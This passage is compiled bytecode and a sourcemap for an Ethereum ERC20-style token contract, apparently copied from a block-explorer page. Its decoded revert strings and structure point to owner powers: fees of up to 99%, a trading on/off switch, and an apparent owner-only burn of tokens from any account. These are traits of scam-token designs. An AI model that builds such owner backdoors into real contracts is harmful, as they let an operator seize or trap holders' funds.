d011682016040523d82523d6000602084013e613bb8565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613c049190614464565b602060405180830381865afa158015613c21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c459190614e96565b90506000613c5e601154836126c890919063ffffffff16565b9050613c6984614019565b613c7b5760008114613c7a57600080fd5b5b600192505050919050565b60008083118290613ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cc49190614109565b60405180910390fd5b5060008385613cdc91906147ae565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d695760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d8d565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dd483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061349e565b905092915050565b6000600267ffffffffffffffff811115613df957613df86156c7565b5b604051908082528060200260200182016040528015613e275781602001602082028036833780820191505090505b5090503081600081518110613e3f57613e3e614871565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ee4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f08919061570b565b81600181518110613f1c57613f1b614871565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f81307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461272e565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fe3959493929190615831565b600060405180830381600087803b158015613ffd57600080fd5b505af1158015614011573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140aa57808201518184015260208101905061408f565b838111156140b9576000848401525b50505050565b6000601f19601f8301169050919050565b60006140db82614070565b6140e5818561407b565b93506140f581856020860161408c565b6140fe816140bf565b840191505092915050565b6000602082019050818103600083015261412381846140d0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061416082614135565b9050919050565b61417081614155565b811461417b57600080fd5b50565b60008135905061418d81614167565b92915050565b6000819050919050565b6141a681614193565b81146141b157600080fd5b50565b6000813590506141c38161419d565b92915050565b600080604083850312156141e0576141df61412b565b5b60006141ee8582860161417e565b92505060206141ff858286016141b4565b9150509250929050565b60008115159050919050565b61421e81614209565b82525050565b60006020820190506142396000830184614215565b92915050565b6000602082840312156142555761425461412b565b5b60006142638482850161417e565b91505092915050565b6000819050919050565b600061429161428c61428784614135565b61426c565b614135565b9050919050565b60006142a382614276565b9050919050565b60006142b582614298565b9050919050565b6142c5816142aa565b82525050565b60006020820190506142e060008301846142bc565b92915050565b6142ef81614193565b82525050565b600060208201905061430a60008301846142e6565b92915050565b6000602082840312156143265761432561412b565b5b6000614334848285016141b4565b91505092915050565b6000806000606084860312156143565761435561412b565b5b60006143648682870161417e565b93505060206143758682870161417e565b9250506040614386868287016141b4565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143b5576143b4614390565b5b8235905067ffffffffffffffff8111156143d2576143d1614395565b5b6020830191508360208202830111156143ee576143ed61439a565b5b9250929050565b60008060006040848603121561440e5761440d61412b565b5b600084013567ffffffffffffffff81111561442c5761442b614130565b5b6144388682870161439f565b9350935050602061444b868287016141b4565b9150509250925092565b61445e81614155565b82525050565b60006020820190506144796000830184614455565b92915050565b600060ff82169050919050565b6144958161447f565b82525050565b60006020820190506144b0600083018461448c565b92915050565b6144bf81614209565b81146144ca57600080fd5b50565b6000813590506144dc816144b6565b92915050565b6000806000604084860312156144fb576144fa61412b565b5b600084013567ffffffffffffffff81111561451957614518614130565b5b6145258682870161439f565b93509350506020614538868287016144cd565b9150509250925092565b60008060006060848603121561455b5761455a61412b565b5b6000614569868287016141b4565b935050602061457a868287016141b4565b925050604061458b868287016144cd565b9150509250925092565b600080604083850312156145ac576145ab61412b565b5b60006145ba8582860161417e565b92505060206145cb858286016144cd565b9150509250929050565b6000806000606084860312156145ee576145ed61412b565b5b60006145fc868287016141b4565b935050602061460d868287016141b4565b925050604061461e868287016141b4565b9150509250925092565b60006020828403121561463e5761463d61412b565b5b600061464c848285016144cd565b91505092915050565b6000806040838503121561466c5761466b61412b565b5b600061467a8582860161417e565b925050602061468b8582860161417e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146dc57607f821691505b602082108114156146f0576146ef614695565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061473082614193565b915061473b83614193565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614774576147736146f6565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147b982614193565b91506147c483614193565b9250826147d4576147d361477f565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b600061483b602f8361407b565b9150614846826147df565b604082019050919050565b6000602082019050818103600083015261486a8161482e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006148ab82614193565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148de576148dd6146f6565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061494560338361407b565b9150614950826148e9565b604082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006149d760308361407b565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b6000614a1882614193565b9150614a2383614193565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614a5857614a576146f6565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a99601d8361407b565b9150614aa482614a63565b602082019050919050565b60006020820190508181036000830152614ac881614a8c565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614b05601d8361407b565b9150614b1082614acf565b602082019050919050565b60006020820190508181036000830152614b3481614af8565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b9760248361407b565b9150614ba282614b3b565b604082019050919050565b60006020820190508181036000830152614bc681614b8a565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c2960358361407b565b9150614c3482614bcd565b604082019050919050565b60006020820190508181036000830152614c5881614c1c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614cbb60328361407b565b9150614cc682614c5f565b604082019050919050565b60006020820190508181036000830152614cea81614cae565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d4d60268361407b565b9150614d5882614cf1565b604082019050919050565b60006020820190508181036000830152614d7c81614d40565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614db960208361407b565b9150614dc482614d83565b602082019050919050565b60006020820190508181036000830152614de881614dac565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614e4b602a8361407b565b9150614e5682614def565b604082019050919050565b60006020820190508181036000830152614e7a81614e3e565b9050919050565b600081519050614e908161419d565b92915050565b600060208284031215614eac57614eab61412b565b5b6000614eba84828501614e81565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614ef9601b8361407b565b9150614f0482614ec3565b602082019050919050565b60006020820190508181036000830152614f2881614eec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f8b60248361407b565b9150614f9682614f2f565b604082019050919050565b60006020820190508181036000830152614fba81614f7e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061501d60228361407b565b915061502882614fc1565b604082019050919050565b6000602082019050818103600083015261504c81615010565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061508960208361407b565b915061509482615053565b602082019050919050565b600060208201905081810360008301526150b88161507c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061511b60258361407b565b9150615126826150bf565b604082019050919050565b6000602082019050818103600083015261514a8161510e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006151ad60238361407b565b91506151b882615151565b604082019050919050565b600060208201905081810360008301526151dc816151a0565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061521960168361407b565b9150615224826151e3565b602082019050919050565b600060208201905081810360008301526152488161520c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006152d160498361407b565b91506152dc8261524f565b606082019050919050565b60006020820190508181036000830152615300816152c4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061536360358361407b565b915061536e82615307565b604082019050919050565b6000602082019050818103600083015261539281615356565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006153cf60138361407b565b91506153da82615399565b602082019050919050565b600060208201905081810360008301526153fe816153c2565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061546160368361407b565b915061546c82615405565b604082019050919050565b6000602082019050818103600083015261549081615454565b9050919050565b60006154a282614193565b91506154ad83614193565b9250828210156154c0576154bf6146f6565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061552760218361407b565b9150615532826154cb565b604082019050919050565b600060208201905081810360008301526155568161551a565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006155b960228361407b565b91506155c48261555d565b604082019050919050565b600060208201905081810360008301526155e8816155ac565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061564b60218361407b565b9150615656826155ef565b604082019050919050565b6000602082019050818103600083015261567a8161563e565b9050919050565b600081905092915050565b50565b600061569c600083615681565b91506156a78261568c565b600082019050919050565b60006156bd8261568f565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061570581614167565b92915050565b6000602082840312156157215761572061412b565b5b600061572f848285016156f6565b91505092915050565b6000819050919050565b600061575d61575861575384615738565b61426c565b614193565b9050919050565b61576d81615742565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6157a881614155565b82525050565b60006157ba838361579f565b60208301905092915050565b6000602082019050919050565b60006157de82615773565b6157e8818561577e565b93506157f38361578f565b8060005b8381101561582457815161580b88826157ae565b9750615816836157c6565b9250506001810190506157f7565b5085935050505092915050565b600060a08201905061584660008301886142e6565b6158536020830187615764565b818103604083015261586581866157d3565b90506158746060830185614455565b61588160808301846142e6565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206886f0bf111ed8c7a83d00bef43ba094ad69ebeb395e7e7c260ca21d964fb8d064736f6c634300080b0033

Deployed Bytecode Sourcemap

666:17410:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4121:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6288:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2391:64:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;732:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8600:157:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1106:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1207:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1946:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1906;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17439:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7586:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6939:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14460:223:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;790:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1289:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1250:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5083:93:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1394:32:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7703:218:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2200:93:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;850:28:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8919:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15743:247;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1757:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1472:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5412:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1467:148:3;;;;;;;;;;;;;:::i;:::-;;17620:447:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6229:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8765:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1063:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1646;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7209:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5457:155;;;;;;;;;;;;;:::i;:::-;;674:79:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1032:24:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1792:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6071:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4340:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1720:24:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12750:107:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1163:35:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1986:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1868:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8449:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8424:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1350:29:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5752:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9056:208:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2613:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8241:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1433:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8051:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6823:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7828:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5246:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2204:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;948:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6426:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1612:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5990:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;990:33:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5677:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1683:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1896:244:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1830:31:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;917:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16002:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4121:100:1;4175:13;4208:5;4201:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4121:100;:::o;6288:169::-;6371:4;6388:39;6397:12;:10;:12::i;:::-;6411:7;6420:6;6388:8;:39::i;:::-;6445:4;6438:11;;6288:169;;;;:::o;2391:64:5:-;;;;;;;;;;;;;;;;;;;;;;:::o;732:51::-;;;:::o;5241:108:1:-;5302:7;5329:12;;5322:19;;5241:108;:::o;8600:157:5:-;878:13:3;:11;:13::i;:::-;8707:9:5::1;;;;;;;;;;;8679:38;;8696:9;8679:38;;;;;;;;;;;;8740:9;8728;;:21;;;;;;;;;;;;;;;;;;8600:157:::0;:::o;1106:50::-;;;;:::o;1207:35::-;;;;:::o;1946:33::-;;;;:::o;1906:::-;;;;:::o;17439:173::-;17509:4;17532:61;:72;17594:9;17532:72;;;;;;;;;;;;;;;;;;;;;;;;;17525:79;;17439:173;;;:::o;7586:234::-;878:13:3;:11;:13::i;:::-;7705:4:5::1;7699;7695:1;7679:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7678:31;;;;:::i;:::-;7668:6;:41;;7660:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;7805:6;7795;:17;;;;:::i;:::-;7772:20;:40;;;;7586:234:::0;:::o;6939:355:1:-;7079:4;7096:36;7106:6;7114:9;7125:6;7096:9;:36::i;:::-;7143:121;7152:6;7160:12;:10;:12::i;:::-;7174:89;7212:6;7174:89;;;;;;;;;;;;;;;;;:11;:19;7186:6;7174:19;;;;;;;;;;;;;;;:33;7194:12;:10;:12::i;:::-;7174:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7143:8;:121::i;:::-;7282:4;7275:11;;6939:355;;;;;:::o;14460:223:5:-;878:13:3;:11;:13::i;:::-;14557:9:5::1;14552:124;14576:10;;:17;;14572:1;:21;14552:124;;;14644:10;;14655:1;14644:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14620:44;;14629:13;;;;;;;;;;;14620:44;;;14659:4;14620:44;;;;;;:::i;:::-;;;;;;;;14595:3;;;;;:::i;:::-;;;;14552:124;;;;14460:223:::0;;;:::o;790:53::-;836:6;790:53;:::o;1289:54::-;;;;:::o;1250:32::-;;;;;;;;;;;;;:::o;5083:93:1:-;5141:5;5166:2;5159:9;;5083:93;:::o;1394:32:5:-;;;;;;;;;;;;;:::o;7703:218:1:-;7791:4;7808:83;7817:12;:10;:12::i;:::-;7831:7;7840:50;7879:10;7840:11;:25;7852:12;:10;:12::i;:::-;7840:25;;;;;;;;;;;;;;;:34;7866:7;7840:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7808:8;:83::i;:::-;7909:4;7902:11;;7703:218;;;;:::o;2200:93:3:-;878:13;:11;:13::i;:::-;2278:7:::1;2270:5;;:15;;;;;;;;;;;;;;;;;;2200:93:::0;:::o;850:28:5:-;;;;;;;;;;;;;:::o;8919:125::-;8984:4;9008:19;:28;9028:7;9008:28;;;;;;;;;;;;;;;;;;;;;;;;;9001:35;;8919:125;;;:::o;15743:247::-;878:13:3;:11;:13::i;:::-;15835:9:5::1;15830:153;15854:8;;:15;;15850:1;:19;15830:153;;;15968:3;15891:61;:74;15953:8;;15962:1;15953:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15891:74;;;;;;;;;;;;;;;;:80;;;;;;;;;;;;;;;;;;15871:3;;;;;:::i;:::-;;;;15830:153;;;;15743:247:::0;;;:::o;1757:28::-;;;;:::o;1472:30::-;;;;;;;;;;;;;:::o;5412:127:1:-;5486:7;5513:9;:18;5523:7;5513:18;;;;;;;;;;;;;;;;5506:25;;5412:127;;;:::o;1467:148:3:-;878:13;:11;:13::i;:::-;1574:1:::1;1537:40;;1558:6;::::0;::::1;;;;;;;;1537:40;;;;;;;;;;;;1605:1;1588:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1467:148::o:0;17620:447:5:-;878:13:3;:11;:13::i;:::-;17774:3:5::1;17751:19;:26;;17743:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17864:4;17852:8;:16;;:33;;;;;17884:1;17872:8;:13;;17852:33;17844:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17967:19;17949:15;:37;;;;18016:8;17997:16;:27;;;;18051:8;18035:13;;:24;;;;;;;;;;;;;;;;;;17620:447:::0;;;:::o;6229:127::-;6279:4;878:13:3;:11;:13::i;:::-;6311:5:5::1;6295:13;;:21;;;;;;;;;;;;;;;;;;6344:4;6337:11;;6229:127:::0;:::o;8765:144::-;878:13:3;:11;:13::i;:::-;8897:4:5::1;8855:31;:39;8887:6;8855:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8765:144:::0;;:::o;1063:30::-;;;;;;;;;;;;;:::o;1646:::-;;;;:::o;7209:369::-;878:13:3;:11;:13::i;:::-;7343::5::1;7325:15;:31;;;;7385:13;7367:15;:31;;;;7421:7;7409:9;:19;;;;7490:9;;7472:15;;7454;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;7439:12;:60;;;;7534:2;7518:12;;:18;;7510:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;7209:369:::0;;;:::o;5457:155::-;878:13:3;:11;:13::i;:::-;5528:4:5::1;5512:13;;:20;;;;;;;;;;;;;;;;;;5557:4;5543:11;;:18;;;;;;;;;;;;;;;;;;5589:15;5572:14;:32;;;;5457:155::o:0;674:79:3:-;712:7;739:6;;;;;;;;;;;732:13;;674:79;:::o;1032:24:5:-;;;;;;;;;;;;;:::o;1792:31::-;;;;:::o;6071:101::-;878:13:3;:11;:13::i;:::-;6157:7:5::1;6143:11;;:21;;;;;;;;;;;;;;;;;;6071:101:::0;:::o;4340:104:1:-;4396:13;4429:7;4422:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4340:104;:::o;1720:24:5:-;;;;:::o;12750:107:1:-;878:13:3;:11;:13::i;:::-;12827:22:1::1;12833:7;12842:6;12827:5;:22::i;:::-;12750:107:::0;;:::o;1163:35:5:-;;;;:::o;1986:27::-;;;;:::o;1868:25::-;;;;:::o;8449:143::-;878:13:3;:11;:13::i;:::-;8543:41:5::1;8572:4;8578:5;8543:28;:41::i;:::-;8449:143:::0;;:::o;8424:269:1:-;8517:4;8534:129;8543:12;:10;:12::i;:::-;8557:7;8566:96;8605:15;8566:96;;;;;;;;;;;;;;;;;:11;:25;8578:12;:10;:12::i;:::-;8566:25;;;;;;;;;;;;;;;:34;8592:7;8566:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8534:8;:129::i;:::-;8681:4;8674:11;;8424:269;;;;:::o;1350:29:5:-;;;;:::o;5752:175:1:-;5838:4;5855:42;5865:12;:10;:12::i;:::-;5879:9;5890:6;5855:9;:42::i;:::-;5915:4;5908:11;;5752:175;;;;:::o;9056:208:5:-;878:13:3;:11;:13::i;:::-;9193:15:5::1;;;;;;;;;;;9150:59;;9173:18;9150:59;;;;;;;;;;;;9238:18;9220:15;;:36;;;;;;;;;;;;;;;;;;9056:208:::0;:::o;2613:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;8241:200::-;878:13:3;:11;:13::i;:::-;8370:5:5::1;8336:25;:31;8362:4;8336:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;8427:5;8393:40;;8421:4;8393:40;;;;;;;;;;;;8241:200:::0;;:::o;1433:32::-;;;;;;;;;;;;;:::o;8051:182::-;878:13:3;:11;:13::i;:::-;8167:8:5::1;8136:19;:28;8156:7;8136:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;8207:7;8191:34;;;8216:8;8191:34;;;;;;:::i;:::-;;;;;;;;8051:182:::0;;:::o;6823:378::-;878:13:3;:11;:13::i;:::-;6959::5::1;6940:16;:32;;;;7002:13;6983:16;:32;;;;7039:7;7026:10;:20;;;;7111:10;;7092:16;;7073;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;7057:13;:64;;;;7157:2;7140:13;;:19;;7132:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6823:378:::0;;;:::o;7828:215::-;878:13:3;:11;:13::i;:::-;7950:4:5::1;7944;7940:1;7924:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7923:31;;;;:::i;:::-;7913:6;:41;;7905:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;8028:6;8018;:17;;;;:::i;:::-;8006:9;:29;;;;7828:215:::0;:::o;5246:157::-;878:13:3;:11;:13::i;:::-;5324:5:5::1;5308:13;;:21;;;;;;;;;;;;;;;;;;5340:55;5374:13;;;;;;;;;;;5390:4;5340: